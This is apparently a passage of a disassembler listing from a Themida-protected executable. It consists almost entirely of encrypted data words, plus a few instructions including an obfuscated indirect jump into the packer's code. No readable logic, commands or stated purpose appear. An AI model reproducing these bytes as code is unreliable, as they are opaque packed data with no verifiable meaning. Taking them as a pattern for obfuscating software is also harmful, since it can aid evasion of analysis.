		dd 5D9DA8B7h, 0EE28BFCAh, 0C20A00D4h, 13BA9B81h, 0D1AD13C0h
		dd 8AFD07h, 8DB71C40h, 0C2121AFAh, 89F8AF8h, 28B1C60Eh
		dd 3994E4B3h, 0BE91BB4h, 8B2F9142h, 5D5E3867h, 574091CAh
		dd 49AD11ADh, 0CA5D5E1Ah, 47395E73h, 724E728Ch,	5D5E5F86h
		dd 9CEBB8CAh, 0A22E52EEh, 0A7C962A2h, 5AF3112Bh, 0D56F902Dh
		dd 4DA75D79h, 33A09A31h, 909C1E64h, 563109DAh, 5B656E00h
		dd 0B62AD3FFh, 0AD25E1A7h, 450EE6DDh, 7A4A6652h, 0E44B55C0h
		dd 0A19BD19h, 63CA5E0Ah, 5E12854Eh, 0D2581FB4h,	121DA131h
		dd 20EA3E56h, 0BDCA7260h, 6F4DB4FDh, 593EC00Bh,	2BE2A69Fh
		dd 3CDB1C1h, 5D2A0301h,	2A869325h, 0C7B1909Ah, 9A29041Bh
		dd 80545DC3h, 6532A9BCh
		dd 6F533753h, 0C39A8070h, 52B24C87h, 1F683979h,	949ED359h
		dd 208A1ACBh, 544B77D1h, 0ADBBA119h, 7DDEB024h,	53DCE0F4h
		dd 0BF446393h, 6D0AC14h, 0E51F21ABh, 7410774Ch,	0D1EFF8C8h
		dd 12167076h, 0AFBB7D85h, 5480BE7Fh, 0BBA0444Dh, 0CBA71DA6h
		dd 0DCE4EF28h, 48AC5480h, 61A39D2Ch, 6675FBC8h,	0C1DDDBACh
		dd 0E4464BF1h, 8FF8CA3Ah, 9EF70EE9h, 0AA1BDC3h,	2C5BF410h
		dd 0E508468Eh, 0F3E11BB7h, 5D6636CAh, 26E0F753h, 0B5CF05CEh
		dd 4A128A12h, 912D0B7Ch, 569AC92Dh, 0DEF3B3A2h,	0F20CC7B9h
		dd 9A902020h, 0F398F1B9h, 8152F0DDh, 56EFEA16h,	75F29B0Fh
		dd 0EDC40F36h, 0D56C108Ch, 770AE749h, 5B000010h, 3737CB75h
		dd 0CDB1619Bh, 0F20E043Eh, 0C7A75BE1h, 371DF50Fh, 7B89450Fh
		dd 0D36D6787h, 6C963F3Fh, 0C57F5A96h, 92368A4Dh, 0C25FBD93h
		dd 128A8AECh, 23E1636Eh, 0D7666A8Bh, 854E908Ah,	46EBE612h
		dd 5D7A83A2h, 0FCC7DCCAh, 94401CF8h, 0D8BF886Ch, 9D2328B2h
		dd 79CED501h, 9A27CA5Dh, 7AB3B216h, 0B70CCA5Dh,	4E04F0D0h
		dd 0C3D2579Bh, 18B28BFBh, 6027A1E1h, 8B9A3E62h,	0E4C263F5h
		dd 0A0BC04CFh, 147E0933h, 0D5F6A42Ch, 0C5A8F835h, 35FEF60Ch
		dd 0AFB6229Eh, 8C263B5h, 24B6CCBBh, 0FAFA0AC4h,	421EA231h
		dd 91B31B96h, 9EE9C242h, 134736A2h, 1070CA62h, 0EEB73DC7h
		dd 567FDBE5h, 0C1DDDBACh, 34F99BF1h, 950293E4h,	0D7D76863h
		dd 0D7149C04h, 7F4F7162h, 6C3B17C6h, 830F78BBh,	12AE507Bh
		dd 32B137C2h, 0C1723C57h, 38745CDCh, 88439142h,	0C4A4854Dh
		dd 2D097324h, 1780BA51h, 0AC6565F3h, 45D46D75h,	0D714F84h
		dd 5FE5EEC3h, 40A49074h, 0BA661E21h, 0ED9A297Ah, 0C10B6F4Bh
		dd 7162E2ECh, 7B925226h, 0F6BC264h, 0EDC63EF8h,	12C0A09Ah
		dd 73D7D9EAh, 0DBDDAA64h, 7C57547Fh, 76942C2h, 0FAD331CBh
		dd 5BD7E7C9h, 0B9E80CF5h, 12B267FBh, 568713C1h,	0D0FD24D0h
		dd 4D56B267h, 0BD811176h, 0A19BDE1h, 63B267D1h,	0D17BAA4Eh
		dd 0FFD4B267h, 806D6898h, 7C55AF69h, 0A1456947h, 0B267D182h
		dd 43C1C6DBh, 0A02D4757h, 31BA912h, 0DFEC6E94h,	0AE547DE1h
		dd 97B3D7E9h, 2A03013Bh, 481D935Dh, 2E52BA61h, 4BF7A0A4h
		dd 0E9B9423h, 176D5B39h, 68398A39h, 0DEA1DC0Dh,	0B78B68C8h
		dd 9B00000Eh, 0F7F70B35h, 0DF121DBh, 0B2CE44FEh, 7E71B21h
		dd 0F7DD35CFh, 0BB4985CFh, 93AD2747h, 0AC567F7Fh, 85BF1A56h
		dd 0D2F6CA8Dh, 0C25FBAD3h, 0DC4A4A2Ch, 1913AAFEh, 9EBE06AAh
		dd 8732B1E8h, 577B3D4Ah, 0D25BD68Fh, 91903458h,	0EAC25F1Ch
		dd 6C14AED9h, 8D26DE66h, 0FBD67A36h, 1E823E49h,	98CC3596h
		dd 567E0D38h, 6BC82AE5h, 3A465139h, 41FB129Fh, 0D7D9EAC3h
		dd 0B986D4C7h, 133C12Ah, 0B1A71DB1h, 22ABD5F0h,	3C4BE420h
		dd 438EF2CEh, 2FAAD6C1h, 38CFAB15h, 832D06FEh, 5E6C405Fh
		dd 7F0899C2h, 0D9751905h, 0E6BF45FFh, 5E6BE302h, 5D673CC2h
		dd 0DC084EFh, 6E940354h, 0BE468CECh, 88BC1A46h,	0E3F0E36Ch
		dd 0AC5681DDh, 28187F48h, 58BD16BCh, 4B2F8BCAh,	0AC857F81h
		dd 647A253Ch, 62357EBAh, 0E5524C58h, 0A65EE4EDh, 0AF28B70Dh
		dd 0AC48C2D9h, 8E23B023h, 0CEA94455h, 0B7332080h, 9B00000Dh
		dd 0F7F70B35h, 0DF121DBh, 0B2CE44FEh, 7E71B21h,	0F7DD35CFh
		dd 0BB4985CFh, 93AD2747h, 0AC567F7Fh, 85BF1A56h, 0D2F6CA8Dh
		dd 0C25FB9D3h, 0DC4A4A2Ch, 0C22FAAFEh, 4009EB11h, 0DC804093h
		dd 0C5B153CDh, 32FBF90Bh, 664AF6A1h, 5136CE0Ah,	5C8290A7h
		dd 4EE7B7D2h, 0B359F7Fh, 2B9123B9h, 7B798B45h, 0B9D5E5B2h
		dd 5F37160Dh, 71626FC2h, 0A0A22B4Fh, 0AA2549F7h, 37426185h
		dd 69BC25Fh, 4057F3BDh,	2EA55F73h, 8AFDD6h, 8DB71C40h
		dd 0DED3FEFAh, 408053F1h, 768EB61Ch, 0CB74D8Ah,	3915017Bh
		dd 7A5E6298h, 0C25F376Bh, 62A8EFC4h, 7FCED4D8h,	3A2D0AADh
		dd 8F432789h, 0D1B68F75h, 23AFCBEFh, 0D5FFDB19h, 0D300C92Bh
		dd 0F6742CC4h, 314DCA5Dh, 81834CA5h, 6E19AA83h,	0D908ECD4h
		dd 32BA613Bh, 3C3B6A8Eh, 3F94BA61h, 31813F94h, 1D2EA715h
		dd 0C31E509Fh, 2F9B8FF5h, 2945F3A4h, 6B9141AEh,	1A49AD89h
		dd 73BA615Fh, 625E755Eh, 0F2E76B52h, 8685CE0h, 7D2AE8Ah
		dd 40008AFDh, 5A47545Ch, 0F575B326h, 613DDC03h,	1B6C35BAh
		dd 0D1FDF2DDh, 774CF4E0h, 0A11FB47Dh, 2D93E811h, 61959AC9h
		dd 0F6DEF3BAh, 8512FA70h, 4653E5F7h, 8E805A6Ah,	4E54B54Bh
		dd 0AC857F85h, 0ECD07017h, 0A2FD24D0h, 0FA56BA61h, 47E024D8h
		dd 0CF650B7Ch, 4C25BBEh, 0F808C4A8h, 9EC533FCh,	0F7B26787h
		dd 2D9E1AAAh, 20F678E9h, 38F7CB77h, 0FF9CBD15h,	578A17ACh
		dd 7ED6A690h, 0C1C3926h, 0D0000000h, 3C96DA28h,	0E7F6FA08h
		dd 3899D52Dh, 0E6F01002h, 22B45Eh, 38CA7A54h, 0AE649C38h
		dd 13FF05D2h, 0B45EE0EBh, 342B9725h, 8DC25FB9h,	7D223F7h
		dd 23E7FEEAh, 7340CA5Eh, 0D7FC6060h, 99FEC72Dh,	0CC7F4FEBh
		dd 8AA24104h, 0C00BED9Ah, 3732823Eh, 176B52D9h,	0F8B85245h
		dd 0C1C67E54h, 0C6EAEFC9h, 653CD2FEh, 0BFC8B708h, 459BD501h
		dd 0F458D257h, 0C87225DFh, 0C1122AA8h, 688DAFFFh, 1E2C7A2h
		dd 8252EE96h, 952634ABh, 9DEDD780h, 4A3A4EF5h, 8A955B2Ch
		dd 2FC262B9h, 5DE7EB8Fh, 838B32Ah, 0B92140A4h, 297AC262h
		dd 0B9445B87h, 149DC262h, 0EAD38283h, 9A5026Eh,	62C0C6DDh
		dd 5921FC2h, 8A72h, 0E60E9600h,	4A745933h, 12494B3Ch, 241B4AAEh
		dd 5F74CA5Eh, 30885238h, 7D599BA5h, 0B41FB46Eh,	0E80CB00Ch
		dd 0CA5E23B9h, 22D6C112h, 0D2585834h, 798B4529h, 0BD4C340Eh
		dd 0C705083h, 0AB423EC6h, 0CDBA9371h, 573B832Fh, 4BD36469h
		dd 6F720691h, 14C26364h, 455C8824h, 0B0C26364h,	0CAB7DCA0h
		dd 0DFF4CE84h, 5BAE2DB8h, 26F430Ah, 2CD1025Eh, 70865257h
		dd 0B6E1F202h, 1DF49h, 0F4036700h, 5352763Ah, 0ACC2639Ch
		dd 12AC7017h, 21E3616Eh, 0D601FF88h, 7FE84E2Dh,	0BB8AC44h
		dd 0C0001DA5h, 23834A51h, 0D45A98h, 0B2E5316Fh,	43666E4Ah
		dd 0C77906DEh, 626C8CFBh, 0F26435E3h, 2B98CDFEh, 0B9FD3D85h
		dd 5C7930Eh, 0C30EEA92h, 0C70FE2EEh, 0E5EEB73Dh, 24AED2EEh
		dd 0F10D7720h, 38545CE6h, 6187B914h, 0CA5D5C42h, 1181069Bh
		dd 6FF2A52Dh, 0DF89C333h, 6A0E40B8h, 438BCA5Dh,	483ED741h
		dd 4B2D5AD4h, 97207F80h, 0C1986095h, 0C94BD952h, 0B51EB545h
		dd 9720C30Bh, 0CF43921Dh, 5D7FFC23h, 774C55CAh,	80968D39h
		dd 0E2EFCA5Dh, 0BE1955B5h, 805E8571h, 0EAB7CA5Dh, 6F491BD9h
		dd 8282BC17h, 80333296h, 378CCA5Dh, 0D579378Ch,	82664AF8h
		dd 0CA5D8063h, 0A0A0E7BCh, 0FC7B4FCh, 0B503F3E6h, 0C4400EE2h
		dd 6747D257h, 63A2647Bh, 0DFF4BDC2h, 0B2507DE1h, 840E7952h
		dd 0EDF4E0BCh, 46C263A1h, 62F80A7Dh, 44528D5Ah,	641B81A0h
		dd 0FBC9DAC2h, 42910A05h, 50F4E27Eh, 0CC6C1BB4h, 0BF418CF0h
		dd 551B6C45h, 0CA61058Bh, 0E8F50468h, 178053EDh, 7789432Bh
		dd 0CD08644Ch, 8FF8D133h, 0CDB10DB1h, 0EFF60200h, 48BA6684h
		dd 85657C68h, 0F5BEBA66h, 0FC7B9DEh, 3D211DF5h,	0C20C74AEh
		dd 0AB235542h, 0AD98629Ah, 724EAC1Eh, 667E5F86h, 0D8EBB8BAh
		dd 0A7B790C9h, 0EEB45CEh, 95Ah,	0A46E963Eh, 44CE765Ch
		dd 9F73AD3Ch, 3AC8725Fh, 966C9836h, 0CE86B0h, 0E6F20E04h
		dd 3CCB45Eh
		dd 0E2ED1101h, 9927B260h, 5FB6362Dh, 25F58FC2h,	0E0646E12h
		dd 0FCFC8B24h, 0F28E32D2h, 0DC3661DBh, 0A55F78D4h, 0BFC1C65Fh
		dd 33D9714h, 679B2801h,	152EA3C7h, 0AE650A04h, 1B656EB2h
		dd 14088FB1h, 0E0646E12h, 505D3B7h, 0F4F70F76h,	654B78B0h
		dd 6235CF09h, 7A6A3A56h, 0B7C52563h, 0F8DE9205h, 0EDD257F6h
		dd 8BFE25D1h, 4B57C263h, 0EB00DF13h, 2572617Bh,	0F983915h
		dd 6C883BC5h, 0ECD0F0E3h, 63F6D908h, 0CAAD44C2h, 0B3B185ACh
		dd 0AE38C30Fh, 0E57AC535h, 3FDBA9EEh, 2B68775Bh, 9DC1C263h
		dd 58F11331h, 49541C6Bh, 68C2632Bh, 411DD751h, 84BE1790h
		dd 0D81CA780h, 4C09E059h, 46B20EAAh, 0C2632B1Fh, 2B535276h
		dd 17ACC263h, 0E481069Bh, 6D593505h, 0C2632B76h, 709502CFh
		dd 26F7CE1h, 13B97B3h, 190E996h, 63470000h, 632F607Fh
		dd 695B9C2h, 745FE80Ch,	7D2F123h, 6B152FAAh, 8C25DF61h
		dd 35A1BD37h, 6121B10Fh, 9BD9A8Bh, 18048007h, 9F659F34h
		dd 0D5F78106h, 52CA5D40h, 0F4A3A12Eh, 0C438C904h, 43A8CBB7h
		dd 576C9641h, 9128446Ch, 9EA2F097h, 3E9910C2h, 9C35CF04h
		dd 40C20DEBh, 1318A2C4h, 93CF25ADh, 0E6EE16BCh,	264AE988h
		dd 4DEB9CA8h, 41C30D71h, 0F4EBD7C3h, 4DCA5D32h,	0B0484F84h
		dd 0D25744DAh, 0AF517BDFh, 94AE2955h, 0C4ECD770h, 63220120h
		dd 3E495AC2h, 0CD763084h, 96564D79h, 22AFC262h,	0CAF0B0B2h
		dd 0EFD3B7F9h, 0C262A1F0h, 830F7849h, 7F53B385h, 0CEB20EC5h
		dd 28010301h, 753D615Fh, 90E93C48h, 828C3896h, 0D342F133h
		dd 0FA43ADDAh, 95CA5F92h, 0DE71DB9h, 47675344h,	6519849Bh
		dd 0FFD4DDBAh, 319DC1h,	6518CDD4h, 269D26BAh, 0A69205CEh
		dd 2342A60Ah, 7ABA6519h, 6519574Eh, 9F23B0BAh, 5B738512h
		dd 696307A9h, 1E62B0D7h, 6B9141B0h, 1D064958h, 75CFCEA9h
		dd 72D88h, 39C31100h, 172DA5C9h, 3AF403EBh, 112BA8C8h
		dd 33D1FD01h, 87CDF5DFh, 215DB54Fh, 79758DB7h, 145CA65Ch
		dd 0CC7B87B9h, 0B3DD04F0h, 2036C25Fh, 4D25Ch, 0BB522E12h
		dd 1AB8381h, 0FABB2EC0h, 0EEDAD6EDh, 0CA5D9AF7h, 0E4148350h
		dd 3BF504E9h, 0DDE3F0B9h, 9B0E15C1h, 5A67CA5Dh,	6A8ABA16h
		dd 545CB6E1h, 9B958C38h, 0E5EECA5Dh, 6E12E2B2h,	8821E361h
		dd 2CD601FFh, 8E442884h, 43B57E76h, 0CA5E241Ch,	0A15B2C75h
		dd 0B366ADF5h, 0CCC68897h, 9D12BDBBh, 5BF41032h, 95244868h
		dd 0A29EEC9Bh, 4BCBDAFEh, 0B622CA5Dh, 0CA5D4CAFh, 0AAF7BB08h
		dd 31E1E0DDh, 7EB84FA7h, 9C3AD86h, 9F34FDF7h, 6F953D21h
		dd 0D8741828h, 9BCA2EFBh, 0F4CA5D4Ch, 3710F4DFh, 61E6A850h
		dd 763D257h, 4AF4DFCCh,	4C340E79h, 0AE777D87h, 36BFE612h
		dd 8B18C263h, 0B7D3B938h, 43E93h, 37A2C127h, 93FBC263h
		dd 6337302Fh, 8B3889C2h, 0AE1174FCh, 3C206698h,	0BC956F91h
		dd 0C521B7CBh, 2FF8FC36h, 0A9401CA4h, 7418286Fh, 0BF45FFD8h
		dd 0C0F0EFD3h, 78491E2Dh, 46B43C4Bh, 6D2627C5h,	883BC111h
		dd 278A4428h, 0D97292ACh, 56410AEAh, 0FDFEDCAEh, 19DCEBB3h
		dd 0EBD28389h, 8C0221C5h, 465B1633h, 0A0537F41h, 4F1E31C6h
		dd 0F7A0A22Bh, 94AE234Bh, 0B8488470h, 6060733Ch, 35526D74h
		dd 0C6FDC60Eh, 322C6EAh, 5C0E3552h, 0EC6C7D47h,	3C673FDh
		dd 0B808A494h, 1D8AE483h, 878Ch, 3D852BD5h, 5711C200h
		dd 2AE8AFD2h, 53E9EA86h, 67993444h, 0D892A93Ah,	0A7D42C7Ah
		dd 576h, 50C27A5Ah, 689AA230h, 4BB77188h, 7E94AE23h, 62B05482h
		dd 0D4025274h, 329EE230h, 0D7000012h, 3E99D52Dh, 754B0E04h
		dd 5FB25251h, 0C9C9ABC2h, 91606E12h, 713ABA40h,	88433562h
		dd 24607F63h, 0E8B9CA5Eh, 9F40D0DCh, 80533E1Fh,	0B247040h
		dd 0F5B5E9BBh, 763EDAA2h, 2C25E882h, 0CF046C7Fh, 91F6CF35h
		dd 0BEDBDF79h, 0F2B28B5Dh, 0CD77621Eh, 7AD6BAF6h, 0C65FA55Fh
		dd 5DBC0322h, 40475CCAh, 54801C80h, 0CA5DBC4Dh,	1BD96B64h
		dd 0F4A33092h, 57BD1A7Ch, 3FA307D2h, 0C263BB20h, 635F2879h
		dd 0BB88973Bh, 0D0E1C263h, 4EF5BD03h, 4A91EFB8h, 0F7FD07D2h
		dd 98F2A52Eh, 0EB1AB498h, 2697A0EAh, 57596A5Bh,	63FF746Bh
		dd 9304CDC2h, 0EFCBB9AAh, 63FEDC03h, 1B6C35C2h,	0DBF551E7h
		dd 8E169A29h, 7E1449A1h, 0DABDC5Ch, 0BAE90DB1h,	13C26376h
		dd 6D1FD9BEh, 0EACA5D8Bh, 6F694886h, 2D962FD5h,	0A999FEC7h
		dd 19B49818h, 0C5310DE7h, 0BA69609Eh, 5719AAF7h, 26D3C47Eh
		dd 0F7CF9BC2h, 725E0276h, 0FBBDC5D2h, 0F311339Bh, 6347695Ah
		dd 0DAF1607Fh, 9FE8B9FDh, 23B5FDA1h, 13274427h,	70FE7225h
		dd 0B705D4D3h, 4003A97h, 0D09FA12Ch, 0AC173C41h, 0D1F59917h
		dd 0F5E060D2h, 405F832Bh, 99F5E061h, 30CCBB08h,	0F5813C84h
		dd 8CD43690h, 6D8F6638h, 3C4B7D9Bh, 49677446h, 5E96AC25h
		dd 1E20ABD5h, 0C7E3C779h, 0CE1A14A3h, 0F5E069D7h, 7CF4A330h
		dd 0FDDEA4B9h, 81A04468h, 98EDE230h, 9FBF033Dh,	61EA0A34h
		dd 39152572h, 3DC7119Eh, 0D7733D86h, 655344FEh,	9AA82549h
		dd 0C9549E2Ah, 0B6E1A0F9h, 1DF50FCAh, 697F9121h, 2F2B69D8h
		dd 30BD1868h, 38678BA6h, 91EDE2EBh, 71409340h, 9B2B4ACAh
		dd 8FCCA90Bh, 73000003h, 8F6FA35Dh, 2549B943h, 8A669C96h
		dd 1F5FB349h, 0CF758DB7h, 2321ADA7h, 3BC50FEFh,	142EA7C7h
		dd 2DD702FEh, 2ACEF2D5h, 0C25FAFFBh, 0D2623254h, 182CAA07h
		dd 408053DCh, 993AB71Ch, 0BB08A163h, 64AA7139h,	6DA57143h
		dd 86BE1A56h, 4AB2E56Eh, 3BA0666Eh, 0C94B6063h,	0B8DFF40Eh
		dd 0BD0308D2h, 0EA0A30A1h, 5E8A3661h, 0D25783F4h, 5F1CDF1h
		dd 0C26379DEh, 677E6A37h, 0C0C2637Ah, 0BA96A4F3h, 430CE81Ch
		dd 834C3090h, 0DDAA8381h, 0DEED912Dh, 8007A064h, 0DB5DF5C5h
		dd 448EF2CEh, 1C6B44C0h, 0F0DC801Ch, 1FB14750h,	9CCA5D90h
		dd 1B5FBC14h, 42555B09h, 0EAC62B78h, 0CDBA4A86h, 5C285C23h
		dd 2B97F373h, 1764F34h,	2F53448Dh, 3A698DA9h, 9301764Fh
		dd 8F2B953Eh, 53D35E3Fh, 7225A149h, 712F70FEh, 3F99B509h
		dd 0C8A89205h, 0E612F20Ah, 5D665DD7h, 0BE944B53h, 5FD8D81h
		dd 4218EA92h, 0F4277739h, 0A0621958h, 0BFDBDDAAh, 22598DEFh
		dd 1A6DF033h, 7AD7A356h, 8A6E5201h, 0F17E635Bh,	0CA781FB4h
		dd 0A91A2AA6h, 0EB9BB707h, 2A40F4A0h, 6F3F5B5Dh, 0DC9A9E05h
		dd 1F612616h, 4F9C37B4h, 7EAB7CA3h, 0F7CCD5F1h,	65A034FDh
		dd 0DEBB9CEBh, 5AF6BA09h, 6740C478h, 4F38F209h,	79B3FBC3h
		dd 0D59D965Ch, 6D6898FFh, 6969DED3h, 146C978Fh,	219E7h
		dd 2DD7FD00h, 33999D5h,	5ED8EF0Fh, 0FD07CCB4h, 57EDE905h
		dd 5BF919ABh, 3D41D173h, 5DA17193h, 4040D270h, 0B0976B95h
		dd 0AEB9E80Ch, 7412C25Fh, 606E12A0h, 8720E4h, 0FDD8D500h
		dd 4C309043h, 0AA838183h, 0FDF70DC6h, 0C7996334h, 0A3895F1h
		dd 4E7261EAh, 7BAA4E72h, 0D4CA5E24h, 23D908ECh,	0A132CA5Eh
		dd 85BF4E32h, 29E45E12h, 0B101D258h, 0F75F7546h, 0DEDCABAEh
		dd 0A10F16C2h, 5B68C263h, 0BA969A68h, 420BE923h, 4BFA992h
		dd 0C9CE9550h, 89FF7C1h, 0C80AF60Eh, 0CCF7D034h, 3995B9F7h
		dd 0E0BC7C0Bh, 30E159D0h, 6F116CFBh, 49AFD862h,	0CA61AC55h
		dd 776E5A36h, 0E2BA64F2h, 0F2A9B6Fh, 287939F7h,	0B24F635Fh
		dd 574E870Fh, 0BB9F21B2h, 3B14F012h, 6804B04Ch,	9730D46Ch
		dd 3CC510F0h
		dd 403B6E2Ch, 59B64D9Fh, 725A1EA6h, 0F90BC4ACh,	1FA132FBh
		dd 3EF1E98Fh, 0C6EACFD8h, 646C0322h, 40475CBAh,	0CE23AED2h
		dd 29020202h, 4E7A169Ah, 0BA646C57h, 87423B0h, 3D64902Ch
		dd 96BA646Ch, 82F67A0Dh, 73EC55DFh, 3231955Ah, 8B8872F8h
		dd 8B678D36h, 7237BD47h, 24D0706Bh, 8872F7FDh, 64764D56h
		dd 0C34A0BCh, 0AD385FE8h, 67720E2Eh, 98E17DDh, 5CFDCF7h
		dd 0F7E5FCE8h, 753E8872h, 8CB0225Eh, 0FCD57937h, 0EDD14146h
		dd 44C07A91h, 0F1DC1C6Bh, 8DB7203Ch, 72F8445Bh,	0BF149D88h
		dd 0F2EB101h, 9E26D8F3h, 0C70FEF10h, 8301863Dh,	5E6D7A57h
		dd 8BB4191h, 1E6E0FBCh,	0B221C5CFh, 0E15B720Eh,	0A5324EB6h
		dd 5879659Fh, 67DE62A2h, 9211C784h, 4983E757h, 1ED66E64h
		dd 56823E95h, 8873244Fh, 8C6C1BA8h, 0DE666C41h,	7A368D26h
		dd 0A74DC7D6h, 40002CBh, 0A3EF982Bh, 9FBB705Bh,	0C4DB0D37h
		dd 1D887323h, 0DD813F94h, 1BB450F2h, 8824106Ch,	7324455Ch
		dd 82159E88h, 1975h, 6B0B9300h,	45B2D84Eh, 330D0F78h, 9EC5318Dh
		dd 0F7CA5E24h, 12C17B57h, 2D28F85h, 0F3DEFAFAh,	0EC7B351h
		dd 0E8E410F4h, 16C09C58h, 0ECEA16EEh, 13C09C58h, 0D8EF0BE9h
		dd 18BAA65Eh, 537220E4h, 0C3815B54h, 4,	8704EB83h, 685C241Ch
		dd 7808h, 52240489h, 0C281E289h, 4, 8704EA83h, 895C2414h
		dd 56B82414h, 0D1689D67h, 0CABA52E0h, 214B5B09h, 6D255AD0h
		dd 2D79C001h, 3901A155h, 24148B54h, 4C481h, 51500000h
		dd 917786B9h, 244C2961h, 428F5904h, 8428108h, 61917786h
		dd 5A2434FFh, 0FF04C483h, 81582434h, 4C4h, 64EE900h, 1CBBFFFCh
		dd 13F0DC8h, 0D128A7Fh
		db 11h,	7Bh
; ---------------------------------------------------------------------------


loc_5E939E:				; CODE XREF: Themida_:005E7944j
		mov	eax, 7FE7813h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 8Bh
		dd 3D34C958h, 20959C7h,	0FD0E9AD2h, 7E416802h, 0BD08D06Eh
		dd 695DB94Eh, 0B517D539h, 273F2961h, 500FC41Fh,	6059801Eh
		dd 8967A849h, 0A77CAFD0h, 0E55C7D93h, 2721B72Bh, 0C07153EFh
		dd 9D457D8Eh, 9E498CE4h, 480D926Eh, 0E909891Bh,	148h, 70h
		dd 74h,	78h, 7Ch, 80h, 84h, 88h, 8Ch, 0D0h, 0D4h, 0D8h
		dd 0DCh, 0E0h, 0E4h, 0E8h, 0ECh, 0F0h, 0F4h, 0F8h, 0FCh
		dd 100h, 104h, 108h, 10Ch, 38h dup(0)
; ---------------------------------------------------------------------------
		pop	eax
		xchg	eax, esp
		pop	esi
		add	[ebx], al
		retn	0B6h
; ---------------------------------------------------------------------------
		dd 78F4858Dh, 0AE807FEh, 2E000000h, 0E9F2DC0Bh,	0DFDB8F6Eh
		dd 0D1BD8981h, 5F07FA33h, 7A348589h, 870F07FEh,	3, 0C6CB8B66h
		dd 0FA157185h, 66505407h, 0F6F8E781h, 7B0F685Eh, 0BE9E48Fh
		dd 0B4000000h, 6347FA1Fh, 89F8AD45h, 481632Fh, 0D2ED1A24h
		dd 0ADB58B09h, 8B07FA0Bh, 0FA062195h, 8DB5FF07h, 8B07FA1Eh
		dd 0FA0CF995h, 55953307h, 8D07FA0Ah, 0FE3A5885h, 0EABF6607h
		dd 31D0FFA6h, 0FA17D985h, 38858907h, 0F07FE7Ah,	51E9F1BFh
		dd 81000000h, 0FE6C64E7h, 3D9D0370h, 5607FA1Ah,	7A34B58Bh
		dd 68907FEh, 7A348583h,	5E0407FEh, 0B58D60C3h, 7FE78F4h
		dd 6A560FEBh, 0FF36FF00h, 0FE7A3895h, 0C6835E07h, 3E8304h
		dd 0C361EC75h, 0FCABF0Fh, 0B8Eh, 5880F00h, 0BB000000h
		dd 43FBD85Ch, 7AED858Dh, 0BD8B07FEh, 7FA1981h, 203D8589h
		dd 0FE807FAh, 0E7000000h, 7D3501D5h, 6DA78135h,	344C1DF9h
		dd 0B70FC122h, 9D2B59DAh, 7FA1409h, 64FFC181h, 0BE0000h
		dd 89000000h, 0FA12B18Dh, 0E34FF07h, 0DE8h, 0E0EAF800h
		dd 6B771DB2h, 0A4146348h, 8531AA1Fh, 7FA0909h, 0B589585Ah
		dd 7FA1E0Dh, 0F66FF081h, 0BD294EE1h, 7FA13F9h, 4F69F081h
		dd 840F2352h, 6, 11C99D23h, 0F08107FAh,	513CE337h, 0BB50F9B7h
		dd 5529224Eh, 8931048Fh, 0FA0AA59Dh, 0EE81F507h, 39265242h
		dd 0EE9h, 4AFAB800h, 5659468h, 78152E57h, 81DD2EEFh, 26523EC6h
		dd 65D38039h, 9BB0FE81h, 850FFFFFh, 0FFFFFF79h,	39EB8BB3h
		dd 0CF0000h, 0CF02CCh, 0CF02E4h, 0
		dd 4737AA8Bh, 762EA6B8h, 223FAE96h, 4F34AA88h, 4E3EED92h
		dd 7614C393h, 22168FBBh, 5215B7B1h, 4A0EAD9Ah, 463BA68Dh
		dd 0DB0AA3FFh, 489A48A0h, 21B294FFh, 25AC3FFh, 0AB0500A0h
		dd 0A35EE783h, 345EE7BBh, 655AC3FFh, 702800A8h,	0F3E74092h
		dd 225D39E9h, 9FD9CA8Ah, 25A0F6CAh, 7243B7FFh, 9A9A48ACh
		dd 225AC746h, 3C774676h, 0BFD7C405h, 25A7FC25h,	7A011000h
		dd 176F7E7Ch, 565AC405h, 9A0993E8h, 225AC746h, 3C774676h
		dd 0BFD7C405h, 25A7FF36h, 7A011000h, 0CA0BC395h, 225AC3FCh
		dd 7B999ADFh, 267E8F76h, 267E877Eh, 225AC3E2h, 599992BEh
		dd 0C9FBA687h, 0E8838F6Fh, 0A3E748BCh, 0A95D39E8h, 0D87F5A72h
		dd 775AA9F8h, 225AC017h, 0E107E3FFh, 6364AA2h, 61E42FBh
		dd 225AD8FBh, 0E10F86FFh, 92426E1Ah, 0A4A367B1h, 0CBE5297Fh
		dd 225AC3EDh, 2F967136h, 95CBCCE4h, 874F4E48h, 6381B7Ah
		dd 0E2D1D2DDh, 0CA0CC395h, 225AC3FCh, 7C999DDFh, 267EB776h
		dd 267E877Eh, 225AC3E4h, 879995B9h, 873F3714h, 0A9C2F5AAh
		dd 53DF0508h, 745D39EAh, 0CA0CC395h, 225AC3FCh,	7C999DDFh
		dd 267EB776h, 267E877Eh, 225AC3E8h, 379995B9h, 983FF606h
		dd 2FA4521Ah, 74326F97h, 27B3A36Ch, 7E5AC3FFh, 0B7637CA8h
		dd 65E429Eh, 2B088C59h,	225ACC16h, 3E77A8FFh, 0E9653485h
		dd 0D059FA0Ah, 0B556DCC9h, 3CD77600h, 0AF73C405h, 25A0D712h
		dd 18024672h, 1DEBC401h, 225248F0h, 0A30CC3FFh,	73529916h
		dd 0F2A599EDh, 20FB46FEh, 2630C405h, 36877676h,	0AF55C405h
		dd 225AC3FAh, 0D9BF1640h, 2BA4AB89h, 0D1D1EAC2h, 0DC7EF77Eh
		dd 0A973FEE6h, 0B4AEAB37h, 9B3A71FFh, 7D4D149Dh, 0A33B3D74h
		dd 49A2E7FBh, 32B38E00h, 1B5AC3FFh, 24BF2766h, 555098C4h
		dd 0E3808601h, 4867CE79h, 745AA9FFh, 225AC017h,	0E104E3FFh
		dd 62E4AA1h, 61E42FBh, 225ADEFBh, 0E10C85FFh, 0AD918A58h
		dd 0ABEE01h, 0F2A51363h, 0CA0AC395h, 225AC3FCh,	7A999BDFh
		dd 267E8776h, 267E877Eh, 225AC3E9h, 3C9993BFh, 0A93C5F62h
		dd 0CEDF4A0Ch, 0CA5D3D84h, 225AC3F0h, 24F053Eh,	0ADA18702h
		dd 9409AF51h, 0A9B0DD72h, 0D84FDA6Ah, 0DAD19AF8h, 22580FFAh
		dd 0D2DF4AFFh, 0A15D3D84h, 0A7D3DB3Fh, 25A4B80Bh, 0CEE303CCh
		dd 0D15AC3FDh, 33DF4A55h, 485D39F8h, 21B294FFh,	25AC3FFh
		dd 0AB0500A0h, 0A35EE783h, 345EE7BBh, 655AC3FFh, 0BDC500A8h
		dd 44A048F3h, 0A79C1074h, 25A0D68Eh, 225F2ABCh,	36DBC3FFh
